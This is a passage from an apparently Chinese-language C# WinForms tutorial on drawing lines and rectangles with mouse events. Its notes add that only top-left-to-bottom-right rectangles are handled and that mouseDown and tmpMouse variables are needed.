}
IList<Point> lines = new List<Point>();
IList<Rectangle> recs = new List<Rectangle>();
private void Form1_MouseDown(object sender, MouseEventArgs e)
{
startMouse = e.Location;
}
Point startMouse;
private void Form1_MouseUp(object sender, MouseEventArgs e)
{
switch (type)
{
case toolType.line: {
lines.Add(startMouse);
lines.Add(e.Location);
break;
}
case toolType.rec:
{
recs.Add(new Rectangle(startMouse, new Size
(e.Location.X - startMouse.X, e.Location.Y - startMouse.Y)));
break;
}
}
Invalidate();
}
并且矩形这里也只对从左上起点到右下结束的这种情况作了处理 其他的情况没考虑，在完整代码里功能是实现了的。 if (!mouseDown)
return;
if (type == toolType.line)
e.Graphics.DrawLine(Pens.Red, startMouse, tmpMouse);
if (type == toolType.rec)
e.Graphics.DrawRectangle(Pens.Green, new Rectangle(startMouse, new Size
(tmpMouse.X - startMouse.X, tmpMouse.Y - startMouse.Y)));
当然得加一个mouseDown的bool变量 让他在鼠标按下时为true 弹起时为false，再加一个tmpMouse的 Point变量 在鼠标移动时给他赋值。
|
||
